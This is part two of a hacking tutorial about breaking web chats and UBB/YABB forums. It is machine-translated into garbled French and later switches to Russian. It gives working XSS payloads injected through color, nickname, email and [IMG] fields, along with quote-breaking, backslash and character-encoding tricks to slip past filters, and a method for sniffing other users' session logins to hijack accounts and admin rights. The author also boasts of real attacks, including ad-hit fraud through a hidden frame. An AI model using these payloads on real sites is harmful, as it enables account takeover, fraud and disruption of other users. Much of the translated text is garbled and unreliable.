Hacking chat en partie 2



  • partie 1
  • partie 2


  • Variations sur un thème

    Dans le chapitre précédent nous avons considéré le cas où la couleur des pages insérées dans le texte sans limiter les guillemets. Et que faire si les guillemets sont toujours là? Par exemple, le texte en discussion comme suit:
    Viator - Alpha, bonjour))
    Alpha - Tous les salutations! !!

    Comme vous pouvez le voir, la couleur est inséré dans le cadre des citations. Ce problème est facilement résolu si le chat ne filtre pas le caractère '. Si oui, alors nous pouvons tout simplement fermer le guillemet ouvert, puis écrire le script. Par exemple, en définissant des couleurs comme le rouge "size = 20 '<FONT color = # 00ff00> nouveau nous obtenons l'effet d'une grande police. Faites attention à l'écart et l'apostrophe à la fin. Ils sont nécessaires pour ce qui serait le guillemet fermant, qui insère lui-même chat, pas détruit nos attributs. En conséquence, notre message sera:

    Shram - Salut

    Si le chat ne manque pas une marque de citation qui entoure le réglage, puis casser le chat à travers cette option ne sera pas possible :( . (Bien qu'il puisse y avoir certaines choses: voir la fin de ce chapitre ..

    Cette méthode est très souvent (presque toujours) travaille pour l'attribution des adresses e-mail (dans les paramètres de chatlanina ou l'adresse de retour dans les forums, livres d'or et sur le terrain). Habituellement, une référence au savon va dans les forums comme suit:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fyodor Pupkin &lt;/a&gt;</b> (Mailto fragment: passerelle s'insère). Ensuite , réglez la valeur de savon comme "style = background-image: url (javascript: l'alerte ( '! Nu_netu_u_menya_myla'))", nous envoyons une alerte à tout visiteur en ligne :) ) (Notez que l'adresse de savon, les filtres habituellement les symboles d'entrée ne sont pas installés). Certes, certains forums et salons de discussion comme il a vérifié le savon, mais ce contrôle est réduite à exiger la présence du symbole @. Si oui, veuillez les créateurs du forum et de les attirer au chien comme suit: [email protected] "style = background-image : url (javascript: l'alerte ( 'Nu_netu_u_menya_myla!))".

    Certaines salles de chat a permis d'insérer vos propres images, adresses de spécification des images. Comme nous le savons déjà, où il est l'URL, il est possible d'insérer le script. Je vais même pas mâcher. Tout est si clair.

    Dans le premier chapitre, on a montré comment changer la forme d'entrée de chat. En particulier, il était nécessaire de modifier l'action relative du champ sur une adresse absolue. Cependant, la structure de la discussion peut être si compliqué que de tels changements peuvent nécessiter beaucoup. Changement dans tous les cas répondre mal à l'aise (et peut être confondu). Au lieu de cela, nous pouvons vous recommander la balise <base href = 'http: //typachat.ru/'^gt ; Ce qui est inséré dans un document lieu de HTML. Dans le même temps, toutes les adresses relatives seront traitées par rapport à l'adresse indiquée dans la base de tag (dans ce cas par rapport à typachat.ru), quel que soit le nom réel de base de DNS.

    Vous savez sans doute ce que renifleurs? Sinon, je vais vous dire Sniffer - une chose très utile, qui permet de surveiller le trafic. Dans le cas d'un chat en direct renifleur pour déterminer les adresses IP bavardent, ainsi que leurs noms et les codes de temps (pour un chat avec un nom temporaire). Parfois, il vous permet même d'obtenir les droits d'admin :) ).

    Il arrive souvent que le surnom dans le texte de chat apparaît comme un lien, lorsque vous cliquez dessus, vous pouvez envoyer un message privé chatovtsu. Voici à quoi il ressemble en HTML:

    Alpha - Bonjour!

    Modérateur - Bonjour!

    En plus de l'effet décrit dans le chapitre "Les merveilles du symbole =" ici est possible l' insertion de script fonctionne sur l'événement click sur le lien (si le chat ne filtre pas restreindre les guillemets - dans ce cas , "- et le symbole +) A cet effet, comme un surnom, demandez. les significations suivantes :. "alerte + ( '! Bonjour') +" Vous pouvez insérer que réalités et plus grave ( en utilisant uniquement la fonction toString ()), par exemple un surnom "+ toString (open ( '// yahoo.com', '_ top. ')) + "désigne l'utilisateur, tyknuvshego votre pseudonyme, une pause de vYahoo le chat :) ).

    Hacking le chat M

    Comme mentionné dans le premier chapitre, il existe deux méthodes de piratage dans le chat. Tous les exemples ci-dessus se rapportent à la première méthode - la méthode de pénétration dans les paramètres des variables. Ici, je veux montrer la deuxième méthode de la technologie - une méthode HTML violations de structure.

    des messages de chat de couleur M demandé sous forme numérique (et donc a une limite sur la longueur de la couleur - 7 caractères), a eu des filtres bizarres, mais il a manqué un seul caractère. Voici un fragment de messages dans le chat:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Comme vous pouvez voir la couleur indique sans guillemets d'encadrement. La technologie Hacking est simple: Se connecter à un surnom arbitraire, et la couleur ». Puis, entrant dans le chat, un message tel que "style = background-image: url (javascript: alert ( 'Hello_people !!')). Notez l'espace à la fin - il est obligatoire. Notre message est le suivant:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Il se trouve qu'une partie du code HTML - class = "Ku"> - était entre guillemets simples, et est vu par le navigateur comme une couleur chaîne de valeur. Dans cette ligne et obtient l'équerre balise de fermeture, de sorte que notre message est dans la balise! Une partie du code en cours d'exécution immédiatement après notre rapport pas compris par le navigateur et est ignoré (et cette partie doit être séparée par un espace de notre option de style, sinon le réglage dans son ensemble sera considéré comme une erreur), mais après la marche d' un support d'angle de fermeture est considéré pour marquer la police. Il est très simple.

    Un peu d'une barre oblique inverse

    Dans les lignes une constante JavaScript a un caractère spécial de contrôle. Ceci est une barre oblique inverse \. L'une de ses missions comprennent aller après lui guillemet est considéré comme un symbole, pas une ligne d'arrêt. Par exemple:

    &lt;Script&gt; alert ( 'It \' s ') &lt;/ script&gt; - Ne pas délivrer un message d'erreur, car l'apostrophe en combinaison avec \ au milieu de la ligne ne soit pas considéré comme la fin de la ligne. Bien que les deux &lt;Script&gt; alert ( 'Il est') &lt;/ script&gt; affiche un message d'erreur.

    Comme il caractère \ est un contrôle (et donc ne figure pas directement dans la ligne), l'écran lui - même, il \\ combinaison. Que cette combinaison apparaît comme un symbole \.

    Qu'est-ce que tout cela a à voir avec le piratage dans le chat? Mais que: certains chats ne mettent pas un filtre sur les guillemets "(ou ') dans la zone de surnom, et les remplacer sur une combinaison du type \" (ou \'), estimant que dans ce cas, les citations seront affichés mais ne peuvent pas agir en tant que guides, et donc ne peut pas détruire la structure du HTML. Cette développeurs à courte vue perdre de vue le fait que l'utilisateur peut utiliser le caractère \ pour bloquer leur caractère \. Par exemple, un fragment de la discussion pour les messages de l' utilisateur avec le surnom de Sh ram "comme suit:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    Dans ce cas, citation dans leurs noms ne viole pas la structure d'étiquette. Mais si nous changeons le surnom d'Al \ "gol, puis en insérant une barre oblique avant le chat va citer le code HTML suivant:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> Dans le même temps nos blocs de chat slash slash et devis nick détruit la structure de HTML! Cela est évident si tyknut sur le lien dans l'exemple.

    Cet effet peut être utilisé pour briser les chats en brisant la structure HTML. Nous notons que, dans certains cas, la même méthode peut être utilisée pour bloquer les citations limitant en insérant l'extrémité de la barre oblique inverse nick.

    Récemment, je remarquai un autre trou associé à l'utilisation abusive du symbole \ programmeurs chats. Supposons, par exemple, le surnom de l'utilisateur est inséré dans le corps sous la forme d'un chat

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Si nous changeons à svoynik Al'gol, le chat aura un tel surnom, mais remplacera Al \ 'gol, naïvement croire que , en insérant une barre oblique inverse, ils protégeront l'étiquette des dommages. En fait, il est moins :) . Lorsque vous insérez une telle entaille dans le corps du chat, il ressemblerait à ceci:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    Dans le même temps l'explorateur affiche un message d'erreur lorsque vous essayez de tyknut surnom. La raison est la suivante: le signe \ n'a de sens que dans les constantes de chaîne dzhavaskripte, mais pas HTML! Lui - même HTML caractère \ ne comprend pas, et par conséquent ledit premier trouvé une extrémité d'apostrophe de l'attribut href, malgré le fait que est un \ avant. Ainsi, par exemple, = un surnom Algol "détruire la structure de l' étiquette, en dépit du fait que , avant l'apostrophe inséré backslash

    Hacking à l'adresse http

    Comme déjà mentionné, le serveur de chat peut suivre champ de requête HTTP Referer, et de ne pas commencer le chat, si ce champ est différent de la droite. Afin de contourner ce besoin pripyatstvy d'attraper un en-tête d'une requête HTTP, le serveur envoie une conversation (avec l'aide de programmes spéciaux, tels que Naviscope) et écrire un programku spécial, qui envoie des requêtes au serveur. En même temps, le contenu du (des champs de valeur de couleur naprmer) de demande peut être réglé de façon arbitraire.

    Je ne reviendrai pas sur cette question en détail. Cela va au-delà du HTML de rupture.

    Permettez-moi de noter qu'il est possible de faire plus délicate que les moyens habituels HTML ou JavaScript au niveau de HTTP. Dans tous les cas, je vous recommande de voir les têtes de requête HTTP en utilisant le chat. Ils vous aideront à comprendre plus en détail dans le chat.

    Miracles avec le symbole =

    Pensez-vous que sera affiché dans le navigateur pour une ligne de HTML:

    &lt;Font onclick = alert ( '=')&gt; Texte &lt;/ font&gt; ? Je parie que vous devinez à droite (à moins bien sûr que vous ne travaillez pas à Microsoft et ne développent pas MSIE). Le résultat est tellement spécifique que je ne pouvais pas faire un exemple de ce qui serait son démontré . Mais vous pouvez prendre un mot qui sera affiché dans la fenêtre du navigateur: &lt;Fontonclick = alert ( '=')&gt; Texte Comme vous pouvez le voir, la balise d'ouverture dans ce cas est tout simplement pas perçu comme un navigateur de balise, si aucune erreur de syntaxe :) ). Et ce qui se passera si nous écrivons texte

    Curieusement, dans ce cas, tout ira bien, mais il y avait une erreur de syntaxe. Si l' on clique sur le texte affichera un = alerte. Essayez de déplacer l'apostrophe pour la troisième chevron, ou le texte:

    &lt;Font onclick = alert ( '=')&gt; Texte &lt;/ font&gt; Nous obtenons le même résultat surprenant.

    Malheureusement, je n'ai pas le code source ou la documentation détaillée pour MSIE, mais je pense que dans ce cas il y a une erreur évidente dans MSIE. Probablement navigateur analyse le code en deux étapes. Au premier stade , il alloue des balises, attributs, et le texte qui se trouve entre eux, et sur la seconde , il analyse les balises JavaScript, le contenu des paramètres (il est seulement sur les attributs qui permettent la valeur de l' écriture, comme href ou onclick). Dans l'analyse primaire du navigateur pour une raison quelconque pense combinaison = 'début de la ligne, en dépit du fait que le symbole = déjà en ligne nahodtsya! Puis, en prenant = 'pour le début de la ligne, les recherches de programme pour la fin (tout en oubliant complètement le fait que une ligne de plus est ouvert et non fermé). Ainsi, tout ce qui suit = '(a = ") et jusqu'à le caractère suivant' est ignoré et considéré comme une ligne Par conséquent, dans le premier exemple, le navigateur n'a pas accepté le tag:!. Il ne pouvait pas trouver un support d'angle de fermeture, car il était ( pour ainsi dire) dans une chaîne Mais encore plus surprenant est que , dans la deuxième étape de l' analyse des paramètres de tag, le navigateur prend tout correctement (ce qui peut être satisfaite en cliquant sur les mots de texte dans le deuxième exemple), et prend la ligne où il est nécessaire, et trouve un support d'angle de fermeture est également le cas échéant. cela conduit à ce fragment d'un troisième exemple du texte ne figure pas dans le texte brut (parce qu'il est pas étiqueter le corps), mais pas une étiquette de paramatrom (comme au stade de l' analyse des paramètres au compilateur qu'il ne vient tout simplement pas)! Flame salut Bill!

    En utilisant cette erreur de navigateur , je suis en mesure de commenter une partie du code IM, tout simplement sont enregistrés sous le nom = :) ). Voici un extrait de code qui affiche une liste des personnes présentes dans le chat:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    Dans le même temps mon surnom dans la liste est tout simplement pas affiché parce que le fragment entre les guillemets

    )&gt; = &lt;/a&gt; A href = javascript: parent.window.messageFor ( Je suis sorti de la balise body: -}. Mais lorsque vous cliquez sur Modérateur, fonction parent.window.messageFor a été appelé avec le paramètre =. «effets» similaires ont été affichés à mes messages de chat.

    Grande (ou triste - la recherche de quelqu'un) que ce bug va presque partout où vous pouvez entrer au moins le fil Th (au moins pour MSIE 5.50.4134.0600), et on n'a même pas besoin de changer quoi que ce soit de la manière. Et la mauvaise chose est que par ce qui est difficile à obtenir des avantages substantiels (tels que l'exécution d'un script).

    En conclusion, nous notons qu'un effet similaire et a le symbole>, qui est perçu comme la fin de l'étiquette, en dépit du fait qu'il est à l' intérieur de la ligne. fragment

    &lt;Font onclick = alert ( '&gt;')&gt; Texte &lt;/ font&gt; interprété par le navigateur comme une erreur, et il donne un mauvais mot qui ne soit pas fermé constante de chaîne.

    Deux chats de piratage T

    Chatter T a raté les caractères suivants dans le champ de couleur:

    ' ` = ;

    Lorsque vous insérez une couleur dans la salle de chat, encadrant les citations ne sont pas. messages Fragment de chat (par la façon dont l'auteur le chat n'a apparemment pas jugé nécessaire pour couvrir les tags)), même si nous espérons que cela se fait pour des raisons de performance):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Confus par ce que l'écart ne soit pas passé par le filtre. Cependant, après réflexion, je trouve la solution suivante - la couleur elle - même, je pris entre guillemets simples, puis la couleur pas d' espace inséré paramètre style: 'red'style = background-image : url (javascript: while ( 1 == 1) ouvert ( )). Comme mentionné dans le deuxième espace chapitre de séparation dans ce cas ne sont pas nécessaires :) ).

    Par ailleurs, dans ce chat était plein d'images, y compris cachés et étaient vides - probablement pensé pour toute expansion future. Mais tandis que les admins pensaient sur les extensions, je les ai trouvés application plus utile. Je traînais dans le chat pendant longtemps - quelques mois. Et pas seulement la pendaison: dans l'un des cadres cachés, je poussai mon saytik. Et saytik étaient des bannières réseau de bannière. Alors Makar, je me suis cadencé sur une banneropokazov cent mille et mon site a sauté à 5-6 places dans le classement des 100 hits Rambler Top (dans le groupe). Malheureusement, le réseau de la bannière a comparé le ratio de hits / hosts et se rendit compte qu'elle a triché. Il est avéré que le même visiteur vient sur mon site 50 fois par jour. Mon compte est bloqué. Donc probablement encore accroché là, agité :) ).

    Mais revenons à nos moutons. Après un certain temps, l'administration a remplacé le chat cgi-shku. Je ne sais pas ce que les «améliorations» ont été faites dans la deuxième édition, mais je ne remarqué un changement: désormais la ligne de couleur à long valeur a été limitée, et était à environ 10 caractères (d'ailleurs cette limitation est dans de nombreuses salles de chat, même si je ne comprends pas quel est le sens ? est-il pas plus facile de mettre des filtres sur les caractères d'entrée? Bien qu'il soit possible de cette manière qu'ils sont protégés contre les dépassements de tampon?). Dans une telle situation, bien sûr l'ancienne méthode ne fonctionnait plus. Cram en 10 caractères ne peut pas être un script décent (il n'y a pas lui-même le style est pas placé). Je me suis aperçu que vous ne pouvez briser une entaille ou la deuxième méthode - détruire strkturu HTML. Quelques heures plus tard, je l'ai essayé de cette façon et que. En plus de pas cher nick effet d'extinction (chapitre "Les merveilles du symbole =") rien ne se produisit. Briser la structure personnelle ne permettait pas pour la raison suivante: insérer au lieu du symbole de couleur 'J'ai ouvert la ligne, mais il a été fermé par une apostrophe qui était en référence au temps (ici le chat juste eu de la chance - il n'a pas été conçu comme une mesure de protection, bien que de nombreux chats insérés spécifiquement pour le mannequin type de balise) < ' "'!>:

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    C'est seulement komentirovat fragment <a href = javascript :. Parent.window.Mtm ( Et tout ce que je suis est la suppression des références de balises à l'heure s'il était possible d'insérer à la place odnarnyh citations, doubles, le problème ne serait pas, parce que dans le chat. guillemets ne sont pas utilisés. Mais le caractère "ne passe pas les filtres. Coucher de soleil sous le nom de Type Algol = n'a pas non plus donner parce que les caractères après 'Algol =')> ignorés et non considérés comme des paramètres de variables. travaillé bien sûr une autre option est décrite plus loin dans ce chapitre," Variations sur un thème ", mais ces scripts fonctionnent uniquement lorsque vous cliquez sur mon lien de pseudo :( (. J'étais prêt à admettre que l'ensemble le chat ne peut pas se fissurer. Et puis, au dernier moment, de creuser et d'expérimenter dans les entrailles de HTML, je découvris que le symbole de l'apostrophe inverse est également une limitation de lignes dans le code HTML !!! Et ce filtre passe de caractère! Sans penser que je connecté avec le surnom Algol et la couleur `puis comme des messages de discussion envoyés à la ligne suivante: .` style = background-image : url (javascript: alert ( '! Pobeda_budet_za_nami')) Mon message dans le corps de la discussion était la suivante.:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    Ce fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ( 'Algol') > Algol </a> komentirovat complètement et a été considéré comme la couleur, le style et le paramètre est dans la balise! Le script a travaillé :) ).

    Alors que les programmeurs T IM doivent développer une nouvelle version de leur progéniture. Il reste à l'interprétation surpris de voir combien échappatoires ils partent, et comment leur correction lente. Ils disent que la chose entière en psychologie: les développeurs de systèmes de protection ne peuvent pas se mettre dans le cambrioleur, et sont jugés sur le système, pour sa part, au lieu de ce qui aurait à regarder de l'extérieur.

    "Interception", "fraude" et les droits d'obtention.

    Envisager des méthodes de saisie de communications étrangères (privates) et envoyer des messages au nom d'autres chatovtsev. Il existe différentes méthodes d'interception, destinés à différents types de salles de chat. Si le chat est complètement compromise l'opération «fraude» (c.-à insérer des remarques au nom d'autres chatovtsev) est pas difficile: il suffit d'envoyer la victime dans le script privé qui va écrire un texte dans une réplique d'une chaîne, puis appuyez sur le bouton "envoyer". Containers similaires peuvent être tirés et l'utilisateur privat. Cependant, ces méthodes sont trop grossiers, primitive et difficile à utiliser. Des techniques plus avancées telles d'interception, dans laquelle il prend vous causez à un autre utilisateur.

    Lors de la création HTML-chat, le principal problème est que le protocole HTTP, en principe, ne supporte pas les connexions persistantes. Cela signifie que chaque fois que vous voulez envoyer un message ou une réplique, un programme de chat doit «savoir» vous réalisez que vous êtes vous. Si elle ne reconnaissait pas les utilisateurs, il ne serait pas en mesure de vous envoyer vos soldats, et ne serait pas capable d'écrire votre message en votre nom. Pour identifier les participants, discuter avec des méthodes différentes. La méthode la plus couramment utilisée d'adresses IP et les noms de méthodes dynamiques. La première méthode est basée sur le fait qu'un seul et même utilisateur de la même adresse IP au cours d'une session de communication. Je ne reviendrai pas sur cette méthode, sauf pour dire que cette méthode présente des inconvénients. En particulier, il peut ne pas fonctionner si l'utilisateur utilise un serveur proxy d'entreprise, ou si elle a ouvert plusieurs fenêtres avec le chat. dynamiques noms de méthode - Récemment, une autre méthode est fréquemment utilisé. La méthode consiste dans le fait que, à chaque entrée de l'utilisateur dans le chat, il est automatiquement attribué un identifiant unique, temporaire. Cette page de connexion avtomatticheski registres dans lesquels la passerelle envoie l'utilisateur. Chaque fois que l'utilisateur envoie une forme de réplique ou demande des messages de la page de chat, il envoie au serveur un nom de connexion temporaire sous lequel le serveur lui-même et identifie l'utilisateur. système de connexion temporaire génère aléatoire et deux autre utilisateur ne peut pas avoir le même nom d'utilisateur. Connexion peut consister en plusieurs parties. Le plus souvent il est le numéro de série de l'utilisateur dans la session, et sgenererirovanny passvord au hasard. Depuis l'ID de connexion "cousu" dans la page Kourtchatov pour chaque utilisateur, le système sait exactement comment elle communique par l'utilisateur, quelle que soit leur adresse IP, les serveurs proxy, le nombre de fenêtres ouvertes avec le chat, etc.

    Il est clair que si nous connaissons la connexion de l'utilisateur, nous ne serions pas difficile, "lécher" pour l'utilisateur, tout simplement corriger sa page dans la connexion au nom de connexion. Ensuite, nous avons le système adopté pour elle ... se révèle, il peut se faire facilement si le chat piraté, et nous sommes en mesure d'insérer votre image dans le chat. Ensuite, si l'image à utiliser renifleur (voir «Variations sur un thème"), nous pouvons obtenir un logins temporaires tous les participants dans le chat! Et si nous sommes intéressés à la connexion spécifique de quelqu'un, vous devez lui envoyer un sniffer en privé. Je note ce qui suit: la connexion interceptée est uniquement valable aussi longtemps que l'utilisateur est dans un chat si déconnexion (et redescendre), alors il sera une nouvelle connexion temporaire.

    De toute évidence, si l'interception administrateur provisoire connexion, vous serez transféré à nous automatiquement et ses droits - tels que la capacité de diriger l'insertion de balises dans le message (pas de filtre sur le <et>), ou la possibilité de retrait de la discussion, ou obtenir des informations sur l'utilisateur etc.

    le chat Troisième piratage T

    Revenons donc sur le chat souffre depuis longtemps T. Il n'y a pas si longtemps pour chatter T complètement commuté vers le nouveau noyau. Maintenant, le jeu a changé. Tout d' abord, le champ de couleur avait disparu presque tous (jusqu'à les signes <et>), et je ne peux pas le pirater sotavilo travail. Mais ce trou patché bientôt (non sans ma participation). La nouvelle version de la couleur du chat a disparu uniquement des chiffres et des lettres. Briser la couleur est devenue impossible. Cela a forcé à chercher des méthodes de izoscherennye. En fait, la seule chose - ce surnom. De ma propre expérience, je sais que dans un hack chat surnom est assez difficile parce que les développeurs plutôt soigneusement sélectionnés filtres à nick. Cependant t'chat exagérée "puce" que "le jeu de caractères pour le nickname considérablement élargi." Il est venu comme une sorte de publicité. Un peu bricoler avec des filtres à l'entaille, je découvre ce qui se passait les caractères suivants:

    ' ` = ; \

    Symbole "a été adoptée, cependant, avant la draguer automatiquement inséré caractère \. Les mécanismes associés à la combinaison décrite dans le chapitre" Un peu d'une barre oblique inverse \ ". Cependant, les effets décrits dans ce chapitre ne donne pas le résultat souhaité, et étaient difficiles à utiliser. Je cherchais une autre décision. Et je l'ai trouvé!

    Regardons un fragment de messages dans le chat:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Comme vous pouvez le voir, le surnom a été donné comme un lien, en cliquant sur ce qui provoque une certaine fonction. Handler link href est enfermé dans des guillemets simples, et le surnom était entre guillemets. Depuis la double citation effectivement ne manquez pas le chat en direct, au sens du surnom, qui vont au-delà de l'argument de la fonction car il était impossible. type = Nick 'ne fonctionne pas, parce que le gestionnaire a été enfermé dans des guillemets simples, et ont été montrés dans les «Miracles du symbole =" effet avec le signe = ne fonctionne pas. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Ie например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. ainsi обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Но и это еще не все. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

